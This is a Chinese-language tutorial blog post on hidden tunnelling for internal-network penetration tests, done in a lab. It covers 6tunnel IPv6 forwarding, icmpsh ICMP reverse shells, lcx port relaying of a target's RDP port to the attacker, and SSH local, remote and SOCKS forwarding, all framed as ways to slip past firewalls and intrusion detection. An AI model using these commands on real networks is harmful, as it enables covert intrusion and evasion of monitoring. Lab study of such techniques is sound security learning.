前言
最近一直在学如何在渗透测试中隐藏自己的渗透行为,参考了freebuf大佬secur1ty
作者的文章,特意写下了本篇文章
隐藏通信隧道技术概述
为什么需要?
在内网渗透测试中,隐藏通信隧道技术那可是“生存必备技能”。想象一下,内网就像个有超严门禁的小区,各种边界设备和入侵检测装置就是那尽职的保安,啥都想拦。隐藏通信隧道技术就是潜入小区的“秘密通道”,帮我们轻松绕过保安,实现内网和外网间的数据传输。这可是保障渗透测试顺利进行的关键,不然后续的信息收集、漏洞利用啥的都得“凉凉”,这技术学的好,牢饭吃的饱(牢饭也很香)
常见隧道
网络层:IPV6隧道、ICMP隧道
传输层:TCP隧道、UDP隧道、端口转发
应用层:SSH隧道、HTTP(S)隧道、DNS隧道
接下来将从三种隧道中各选集中进行试验
常见隧道分类及工具
网络层
IPV6 隧道
工具:6tunnel(kali自带)
目标机:winserver 10,需先开启IPV6并查看地址。
攻击机操作:使用6tunnel命令将目标机的80端口(IPV6地址)转发到本机80端口(IPV4地址),实现访问本机80端口即可访问目标机web服务
首先我们需要打开目标机器的ipv6(在目标没有开启的情况下)
那么我们关闭之后看看区别
这里只是看看效果奥,还是需要重新打开的,下面是我的ipv6地址
fe80::bc82:bd9c:bf05:15fe%6
随后我们在80端口开启一个http服务用于模拟web应用程序
python3 -m http.server
kali安装6tunnel
apt install 6tunnel
之后我们需要先关闭目标机器的防火墙
查看我们的kali的网卡名称,与目标的ipv6地址进行拼接,注意区分那个百分号前后内容,这条命令的含义就是将目标机的80端口(目标机使用IPV6地址)转发到本机的80端口尚(本机使用IPV4地址)
6tunnel -4 80 fe80::bc82:bd9c:bf05:15fe%eth0 80
完整命令如下,转发成功后,访问我们的目标机器以及kaili的80端口,发现显示的结果是一样的,这时候就已经转发成功了
ICMP隧道
相关学习文章:
通常来说,两台主机通信时,必须开启特定端口,像SSH用22端口、RDP用3389端口。但要是用上ICMP隧道,那可就省事多了,根本不需要开放其他端口。ICMP隧道简单又实用。
在渗透测试里,要是防火墙把HTTP、HTTPS、DNS这些常用协议的数据包都给封了,咱就可以瞅准网管容易忽视的ICMP协议。只要把TCP数据包往ICMP数据包里一装,要是防火墙不对ICMP包拦截,那突破防火墙就成了一件轻松的事。
工具1:icmpsh
安装:需要先安装python的impacket
类库,可以通过apt-get或从github下载源码安装
git clone https://gitee.com/WeiyiGeek/icmpshell.git
在使用该工具的时候可能会遇到一些错误(kali系统)
这个错误,是代码错误,写法不是这样写的,需要修改一下这个run.sh
接下来你还会遇到一个错误,那是因为你执行这个py
脚本的时候使用的python3,而不是python2,这个工具使用python2写的,所以需要进行修改
继续修改这个run.sh
,找到这一行
由于icmpsh要代替系统本身的ping应答,所以要关闭一下系统的ping应答,否则工具将无法稳定运行
sysctl -w net.ipv4.icmp_echo_ignore_all=1
随后执行如下命令(建议自行摸索,适合我的不一定适合师傅你们,我搞了一个下午)
sudo apt update
sudo apt install python2 -y
sudo apt install python2-dev libssl-dev libffi-dev -y
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python2 get-pip.py
python2 -m pip install --upgrade "pip==20.3"
pip2 install "impacket==0.9.24" "pyOpenSSL<=18.0.0" "pyasn1<0.5" "pycryptodomex<=3.4.3"
此时就能够正常运行啦,依次输入攻击机IP和受害机IP便会自动输出需要在受害机上的命令(上图的下方绿色框内),命令如下
icmpsh.exe -t 192.168.110.128 -d 500 -b 30 -s 128
执行上面命令之前需要将icmpsh.exe
上传到靶机上(kali:python -m http.server
)
其次需要配置防火墙出站规则所有端口不允许出网(上不了网,包括内网中tcp也互相访问不了,只能ping通)
选择tcp,和所有远程端口
阻止连接
我们阻止全部的tcp连接,此时也能够正常上线
在我们关闭这个tcp的所有端口出站规则后,就怎么也反弹不成功了
重新打开防火墙的出站规则页面,我们设置好允许tcp出站,没过一会儿就上线了
流量分析结果如下
同理使用工具2:pingtunnel,教学如下
传输层
1.端口转发
工具:lcx
下载地址:http://www.vuln.cn/wp-content/uploads/2016/06/lcx_vuln.cn_.zip
首先kali和靶机都执行如下命令
# windows靶机
lcx.exe -slave 192.168.110.128(攻击机IP) 4444 127.0.0.1 3389
# kali
./portmap -m 2 -p1 4444 -h2 192.168.110.128 -p2 5555
输入正确的用户名和密码,就会显示这个界面,注意连接的是kali的IP和转发后的端口,以此来验证端口转发
成功通过端口转发,连接到windows靶机
2、内网代理
相关的学习文章:
应用层
1、SSH
基本上,所有的 Unix/Linux 主机都支持 SSH 协议,而且大家都能用它来通信。在实际场景里,网管们经常靠 SSH 连接远程管理内网主机,所以边界设备一般不会拦 SSH 流量。再说了,SSH 流量是加密的,普通的入侵检测工具很难发现里面有什么异常。这就让渗透测试人员有了机会,能用 SSH 搭起别的隧道很难搞定的 TCP 通信隧道。
SSH常见参数
-C 压缩传输
-f 后台执行SSH
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定SSH端口
(1).本地转发
实验环境:攻击机无法访问靶机内网,可以访问靶机的web,且已获得web服务器的权限,web服务器和内网服务器能互相访问
实验目标:通过本地端口转发,访问攻击机本地的2021端口便可以打开靶机的远程桌面
首先在已经连上得kali上执行
ssh -CfNg -L 2021:192.168.110.132:3389 kali@192.168.110.128
# 132是靶机,128是kali
# 解释:这条命令的作用,在攻击机上建立一个本地ssh服务器的ssh隧道
# 将本地的2021端口的流量通过这个隧道转发到远程主机192.168.110.132的3389端口
# 重点如下:
# 这样,当你在本地机器上访问攻击机本地的2021端口时,实际上访问的是远程主机192.168.110.132的3389端口
这里输入的是kali的密码,而不是web服务器的密码奥
netstat -tulnp | grep "2021" # 进一步验证是否开启了转发功能
尝试使用攻击机也就是本机的远程桌面连接kali的7890端口
直接连接成功
(2).远程转发
这节的网络结构可能有所变化,不同的参照物,理解起来也不同,所以特意列出来了(之前攻击机都是kali,靶机是这里的内网服务器,本机是本机)
结构如下:
kali作为web服务器(模拟公网服务器) 192.168.110.128
本机作为攻击机 192.168.110.1
内网服务器 192.168.168.132
实验环境:攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机
实验目标:通过访问攻击机也就是本机的7890端口
来访问对方内网服务器
的3389端口
在web服务器(kali)上执行
ssh -CfNg -R 7890:192.168.110.132:3389 kali@192.168.110.128
然而这个时候,本机却连不上了,也就是攻击机器,访问不了kali这个web服务器(却获得了kali的web服务器权限,就可以用 -R
参数)
(3).动态转发,SOCKS搭建
关于SOCKS的搭建还可以参考我写的这一篇文章:
ssh -CfNg -D 6000 kali@192.168.110.128
我们打开这个插件,如果没有插件的话可以找我这篇文章自取:
配置好kali的IP地址和ssh开启的端口
点击连接kali代理,此时成功配置代理访问百度
或者对方的内网靶机
2、HTTP / HTTPS隧道
这里介绍一种常用的工具 reGeorg ,使用教学:
3、SOCKS代理
常见工具:EarthWorm、SocksCap64、ProxyChains
至此感谢师傅们愿意花这点时间看完,谢谢!
参考:
https://longyusec.com/longyushoulu/52/
https://longyusec.com/longyushoulu/46/
https://longyusec.com/longyushoulu/331/
https://www.freebuf.com/articles/network/275436.html
相关的学习文章推荐:
本站内容部分转载于互联网,并不代表本站立场!如若本站内容侵犯了原著者的合法权益,可联系我们进行处理! 拒绝任何人以任何形式在本站发表与中华人民共和国法律相抵触的言论!
暂无评论内容